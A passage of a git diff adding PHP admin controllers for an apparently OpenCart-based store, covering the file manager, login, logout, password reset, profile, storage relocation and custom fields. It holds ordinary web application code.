+ $json['error'] = $this->language->get('error_upload');
+ }
+
+ if (!$json) {
+ move_uploaded_file($file['tmp_name'], $directory . '/' . $filename);
+ }
+ }
+ }
+
+ if (!$json) {
+ $json['success'] = $this->language->get('text_uploaded');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function folder() {
+ $this->load->language('common/filemanager');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'common/filemanager')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Make sure we have the correct directory
+ if (isset($this->request->get['directory'])) {
+ $directory = rtrim(DIR_IMAGE . 'catalog/' . $this->request->get['directory'], '/');
+ } else {
+ $directory = DIR_IMAGE . 'catalog';
+ }
+
+ // Check its a directory
+ if (!is_dir($directory) || utf8_substr(str_replace('\\', '/', realpath($directory)), 0, utf8_strlen(DIR_IMAGE . 'catalog')) != str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST') {
+ // Sanitize the folder name
+ $folder = $this->basename_fixed(html_entity_decode($this->request->post['folder'], ENT_QUOTES, 'UTF-8'));
+
+ // Validate the filename length
+ if ((utf8_strlen($folder) < 3) || (utf8_strlen($folder) > 128)) {
+ $json['error'] = $this->language->get('error_folder');
+ }
+
+ // Check if directory already exists or not
+ if (is_dir($directory . '/' . $folder)) {
+ $json['error'] = $this->language->get('error_exists');
+ }
+ }
+
+ if (!isset($json['error'])) {
+ mkdir($directory . '/' . $folder, 0777);
+ chmod($directory . '/' . $folder, 0777);
+
+ @touch($directory . '/' . $folder . '/' . 'index.html');
+
+ $json['success'] = $this->language->get('text_directory');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function delete() {
+ $this->load->language('common/filemanager');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'common/filemanager')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (isset($this->request->post['path'])) {
+ $paths = $this->request->post['path'];
+ } else {
+ $paths = array();
+ }
+
+ // Loop through each path to run validations
+ foreach ($paths as $path) {
+ // Check path exsists
+ if ($path == DIR_IMAGE . 'catalog' || utf8_substr(str_replace('\\', '/', realpath(DIR_IMAGE . $path)), 0, utf8_strlen(DIR_IMAGE . 'catalog')) != str_replace('\\', '/', DIR_IMAGE . 'catalog')) {
+ $json['error'] = $this->language->get('error_delete');
+
+ break;
+ }
+ }
+
+ if (!$json) {
+ // Loop through each path
+ foreach ($paths as $path) {
+ $path = rtrim(DIR_IMAGE . $path, '/');
+
+ // If path is just a file delete it
+ if (is_file($path)) {
+ unlink($path);
+
+ // If path is a directory beging deleting each file and sub folder
+ } elseif (is_dir($path)) {
+ $files = array();
+
+ // Make path into an array
+ $path = array($path);
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ foreach ($files as $file) {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+ }
+
+ $json['success'] = $this->language->get('text_delete');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/common/footer.php b/public/admin/controller/common/footer.php
new file mode 100644
index 0000000..db9de15
--- /dev/null
+++ b/public/admin/controller/common/footer.php
@@ -0,0 +1,14 @@
+load->language('common/footer');
+
+ if ($this->user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $data['text_version'] = sprintf($this->language->get('text_version'), VERSION);
+ } else {
+ $data['text_version'] = '';
+ }
+
+ return $this->load->view('common/footer', $data);
+ }
+}
diff --git a/public/admin/controller/common/forgotten.php b/public/admin/controller/common/forgotten.php
new file mode 100644
index 0000000..914ffa3
--- /dev/null
+++ b/public/admin/controller/common/forgotten.php
@@ -0,0 +1,71 @@
+user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->response->redirect($this->url->link('common/dashboard', '', true));
+ }
+
+ if (!$this->config->get('config_password')) {
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ $this->load->language('common/forgotten');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_user_user->editCode($this->request->post['email'], token(40));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', '', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/forgotten', 'user_token=' . '', true)
+ );
+
+ $data['action'] = $this->url->link('common/forgotten', '', true);
+
+ $data['cancel'] = $this->url->link('common/login', '', true);
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/forgotten', $data));
+ }
+
+ protected function validate() {
+ if (!isset($this->request->post['email'])) {
+ $this->error['warning'] = $this->language->get('error_email');
+ } elseif (!$this->model_user_user->getTotalUsersByEmail($this->request->post['email'])) {
+ $this->error['warning'] = $this->language->get('error_email');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/header.php b/public/admin/controller/common/header.php
new file mode 100644
index 0000000..bd233c2
--- /dev/null
+++ b/public/admin/controller/common/header.php
@@ -0,0 +1,91 @@
+document->getTitle();
+
+ if ($this->request->server['HTTPS']) {
+ $data['base'] = HTTPS_SERVER;
+ } else {
+ $data['base'] = HTTP_SERVER;
+ }
+
+ $data['description'] = $this->document->getDescription();
+ $data['keywords'] = $this->document->getKeywords();
+ $data['links'] = $this->document->getLinks();
+ $data['styles'] = $this->document->getStyles();
+ $data['scripts'] = $this->document->getScripts();
+ $data['lang'] = $this->language->get('code');
+ $data['direction'] = $this->language->get('direction');
+
+ $this->load->language('common/header');
+
+ $data['text_logged'] = sprintf($this->language->get('text_logged'), $this->user->getUserName());
+
+ if (!isset($this->request->get['user_token']) || !isset($this->session->data['user_token']) || ($this->request->get['user_token'] != $this->session->data['user_token'])) {
+ $data['logged'] = '';
+
+ $data['home'] = $this->url->link('common/login', '', true);
+ } else {
+ $data['logged'] = true;
+
+ $data['home'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true);
+ $data['logout'] = $this->url->link('common/logout', 'user_token=' . $this->session->data['user_token'], true);
+ $data['profile'] = $this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_category'] = $this->url->link('catalog/category/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_customer'] = $this->url->link('user/user/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_download'] = $this->url->link('catalog/download/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_manufacturer'] = $this->url->link('catalog/manufacturer/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['new_product'] = $this->url->link('catalog/product/add', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('user/user');
+
+ $this->load->model('tool/image');
+
+ $user_info = $this->model_user_user->getUser($this->user->getId());
+
+ if ($user_info) {
+ $data['firstname'] = $user_info['firstname'];
+ $data['lastname'] = $user_info['lastname'];
+ $data['username'] = $user_info['username'];
+ $data['user_group'] = $user_info['user_group'];
+
+ if (is_file(DIR_IMAGE . $user_info['image'])) {
+ $data['image'] = $this->model_tool_image->resize($user_info['image'], 45, 45);
+ } else {
+ $data['image'] = $this->model_tool_image->resize('profile.png', 45, 45);
+ }
+ } else {
+ $data['firstname'] = '';
+ $data['lastname'] = '';
+ $data['user_group'] = '';
+ $data['image'] = '';
+ }
+
+ // Online Stores
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'name' => $this->config->get('config_name'),
+ 'href' => HTTP_CATALOG
+ );
+
+ $this->load->model('setting/store');
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'name' => $result['name'],
+ 'href' => $result['url']
+ );
+ }
+ }
+
+ $data['search'] = $this->load->controller('search/search');
+
+ return $this->load->view('common/header', $data);
+ }
+}
diff --git a/public/admin/controller/common/login.php b/public/admin/controller/common/login.php
new file mode 100644
index 0000000..aaa902c
--- /dev/null
+++ b/public/admin/controller/common/login.php
@@ -0,0 +1,115 @@
+load->language('common/login');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if ($this->user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->response->redirect($this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->session->data['user_token'] = token(32);
+
+ if (isset($this->request->post['redirect']) && (strpos($this->request->post['redirect'], HTTP_SERVER) === 0 || strpos($this->request->post['redirect'], HTTPS_SERVER) === 0)) {
+ $this->response->redirect($this->request->post['redirect'] . '&user_token=' . $this->session->data['user_token']);
+ } else {
+ $this->response->redirect($this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true));
+ }
+ }
+
+ if ((isset($this->session->data['user_token']) && !isset($this->request->get['user_token'])) || ((isset($this->request->get['user_token']) && (isset($this->session->data['user_token']) && ($this->request->get['user_token'] != $this->session->data['user_token']))))) {
+ $this->error['warning'] = $this->language->get('error_token');
+ }
+
+ if (isset($this->error['error_attempts'])) {
+ $data['error_warning'] = $this->error['error_attempts'];
+ } elseif (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['action'] = $this->url->link('common/login', '', true);
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->get['route'])) {
+ $route = $this->request->get['route'];
+
+ unset($this->request->get['route']);
+ unset($this->request->get['user_token']);
+
+ $url = '';
+
+ if ($this->request->get) {
+ $url .= http_build_query($this->request->get);
+ }
+
+ $data['redirect'] = $this->url->link($route, $url, true);
+ } else {
+ $data['redirect'] = '';
+ }
+
+ if ($this->config->get('config_password')) {
+ $data['forgotten'] = $this->url->link('common/forgotten', '', true);
+ } else {
+ $data['forgotten'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/login', $data));
+ }
+
+ protected function validate() {
+ if(!isset($this->request->post['username']) || !isset($this->request->post['password']) || !$this->request->post['username'] || !$this->request->post['password']) {
+ $this->error['warning'] = $this->language->get('error_login');
+ } else {
+ $this->load->model('user/user');
+
+ // Check how many login attempts have been made.
+ $login_info = $this->model_user_user->getLoginAttempts($this->request->post['username']);
+
+ if ($login_info && ($login_info['total'] >= $this->config->get('config_login_attempts')) && strtotime('-1 hour') < strtotime($login_info['date_modified'])) {
+ $this->error['error_attempts'] = $this->language->get('error_attempts');
+ }
+ }
+
+ if(!$this->error) {
+ if (!$this->user->login($this->request->post['username'], html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8'))) {
+ $this->error['warning'] = $this->language->get('error_login');
+
+ $this->model_user_user->addLoginAttempt($this->request->post['username']);
+
+ unset($this->session->data['user_token']);
+ } else {
+ $this->model_user_user->deleteLoginAttempts($this->request->post['username']);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/logout.php b/public/admin/controller/common/logout.php
new file mode 100644
index 0000000..d12ddf1
--- /dev/null
+++ b/public/admin/controller/common/logout.php
@@ -0,0 +1,10 @@
+user->logout();
+
+ unset($this->session->data['user_token']);
+
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/common/profile.php b/public/admin/controller/common/profile.php
new file mode 100644
index 0000000..5b08f60
--- /dev/null
+++ b/public/admin/controller/common/profile.php
@@ -0,0 +1,211 @@
+load->language('common/profile');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $user_data = array_merge($this->request->post, array(
+ 'user_group_id' => $this->user->getGroupId(),
+ 'status' => 1,
+ ));
+
+ $this->model_user_user->editUser($this->user->getId(), $user_data);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['username'])) {
+ $data['error_username'] = $this->error['username'];
+ } else {
+ $data['error_username'] = '';
+ }
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('common/profile', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true);
+
+ if ($this->request->server['REQUEST_METHOD'] != 'POST') {
+ $user_info = $this->model_user_user->getUser($this->user->getId());
+ }
+
+ if (isset($this->request->post['username'])) {
+ $data['username'] = $this->request->post['username'];
+ } elseif (!empty($user_info)) {
+ $data['username'] = $user_info['username'];
+ } else {
+ $data['username'] = '';
+ }
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($user_info)) {
+ $data['firstname'] = $user_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($user_info)) {
+ $data['lastname'] = $user_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($user_info)) {
+ $data['email'] = $user_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($user_info)) {
+ $data['image'] = $user_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($user_info) && $user_info['image'] && is_file(DIR_IMAGE . $user_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($user_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/profile', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'common/profile')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['username']) < 3) || (utf8_strlen($this->request->post['username']) > 20)) {
+ $this->error['username'] = $this->language->get('error_username');
+ }
+
+ $user_info = $this->model_user_user->getUserByUsername($this->request->post['username']);
+
+ if ($user_info && ($this->user->getId() != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_username');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['firstname'])) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['lastname'])) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ $user_info = $this->model_user_user->getUserByEmail($this->request->post['email']);
+
+ if ($user_info && ($this->user->getId() != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_email');
+ }
+
+ if ($this->request->post['password']) {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['password'] != $this->request->post['confirm']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/reset.php b/public/admin/controller/common/reset.php
new file mode 100644
index 0000000..e9848c1
--- /dev/null
+++ b/public/admin/controller/common/reset.php
@@ -0,0 +1,103 @@
+user->isLogged() && isset($this->request->get['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->response->redirect($this->url->link('common/dashboard', '', true));
+ }
+
+ if (!$this->config->get('config_password')) {
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ if (isset($this->request->get['code'])) {
+ $code = $this->request->get['code'];
+ } else {
+ $code = '';
+ }
+
+ $this->load->model('user/user');
+
+ $user_info = $this->model_user_user->getUserByCode($code);
+
+ if ($user_info) {
+ $this->load->language('common/reset');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_user_user->editPassword($user_info['user_id'], $this->request->post['password']);
+
+ $this->model_user_user->deleteLoginAttempts($user_info['username']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('common/login', '', true));
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', '', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('common/reset', '', true)
+ );
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ $data['action'] = $this->url->link('common/reset', 'code=' . $code, true);
+
+ $data['cancel'] = $this->url->link('common/login', '', true);
+
+ if (isset($this->request->post['password'])) {
+ $data['password'] = $this->request->post['password'];
+ } else {
+ $data['password'] = '';
+ }
+
+ if (isset($this->request->post['confirm'])) {
+ $data['confirm'] = $this->request->post['confirm'];
+ } else {
+ $data['confirm'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('common/reset', $data));
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSettingValue('config', 'config_password', '0');
+
+ return new Action('common/login');
+ }
+ }
+
+ protected function validate() {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['confirm'] != $this->request->post['password']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/common/security.php b/public/admin/controller/common/security.php
new file mode 100644
index 0000000..5d8c367
--- /dev/null
+++ b/public/admin/controller/common/security.php
@@ -0,0 +1,143 @@
+load->language('common/security');
+
+ $data['text_instruction'] = $this->language->get('text_instruction');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['storage'] = DIR_SYSTEM . 'storage/';
+
+ $path = '';
+
+ $data['paths'] = array();
+
+ $parts = explode('/', str_replace('\\', '/', rtrim(DIR_SYSTEM, '/')));
+
+ foreach ($parts as $part) {
+ $path .= $part . '/';
+
+ $data['paths'][] = $path;
+ }
+
+ rsort($data['paths']);
+
+ $data['document_root'] = str_replace('\\', '/', realpath($this->request->server['DOCUMENT_ROOT'] . '/../') . '/');
+
+ return $this->load->view('common/security', $data);
+ }
+
+ public function move() {
+ $this->load->language('common/security');
+
+ $json = array();
+
+ if ($this->request->post['path']) {
+ $path = $this->request->post['path'];
+ } else {
+ $path = '';
+ }
+
+ if ($this->request->post['directory']) {
+ $directory = $this->request->post['directory'];
+ } else {
+ $directory = '';
+ }
+
+ if (!$this->user->hasPermission('modify', 'common/security')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (DIR_STORAGE != DIR_SYSTEM . 'storage/') {
+ $data['error'] = $this->language->get('error_path');
+ }
+
+ if (!$path || str_replace('\\', '/', realpath($path)) . '/' != str_replace('\\', '/', substr(DIR_SYSTEM, 0, strlen($path)))) {
+ $json['error'] = $this->language->get('error_path');
+ }
+
+ if (!$directory || !preg_match('/^[a-zA-Z0-9_-]+$/', $directory)) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (is_dir($path . $directory)) {
+ $json['error'] = $this->language->get('error_exists');
+ }
+
+ if (!is_writable(realpath(DIR_APPLICATION . '/../') . '/config.php') || !is_writable(DIR_APPLICATION . 'config.php')) {
+ $json['error'] = $this->language->get('error_writable');
+ }
+
+ if (!$json) {
+ $files = array();
+
+ // Make path into an array
+ $source = array(DIR_SYSTEM . 'storage/');
+
+ // While the path array is still populated keep looping through
+ while (count($source) != 0) {
+ $next = array_shift($source);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $source[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Create the new storage folder
+ if (!is_dir($path . $directory)) {
+ mkdir($path . $directory, 0777);
+ }
+
+ // Copy the
+ foreach ($files as $file) {
+ $destination = $path . $directory . substr($file, strlen(DIR_SYSTEM . 'storage/'));
+
+ if (is_dir($file) && !is_dir($destination)) {
+ mkdir($destination, 0777);
+ }
+
+ if (is_file($file)) {
+ copy($file, $destination);
+ }
+ }
+
+ // Modify the config files
+ $files = array(
+ DIR_APPLICATION . 'config.php',
+ realpath(DIR_APPLICATION . '/../') . '/config.php'
+ );
+
+ foreach ($files as $file) {
+ $output = '';
+
+ $lines = file($file);
+
+ foreach ($lines as $line_id => $line) {
+ if (strpos($line, 'define(\'DIR_STORAGE') !== false) {
+ $output .= 'define(\'DIR_STORAGE\', \'' . $path . $directory . '/\');' . "\n";
+ } else {
+ $output .= $line;
+ }
+ }
+
+ $file = fopen($file, 'w');
+
+ fwrite($file, $output);
+
+ fclose($file);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/customer/custom_field.php b/public/admin/controller/customer/custom_field.php
new file mode 100644
index 0000000..455f867
--- /dev/null
+++ b/public/admin/controller/customer/custom_field.php
@@ -0,0 +1,498 @@
+load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_custom_field->addCustomField($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_custom_field->editCustomField($this->request->get['custom_field_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $custom_field_id) {
+ $this->model_customer_custom_field->deleteCustomField($custom_field_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'cfd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('customer/custom_field/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
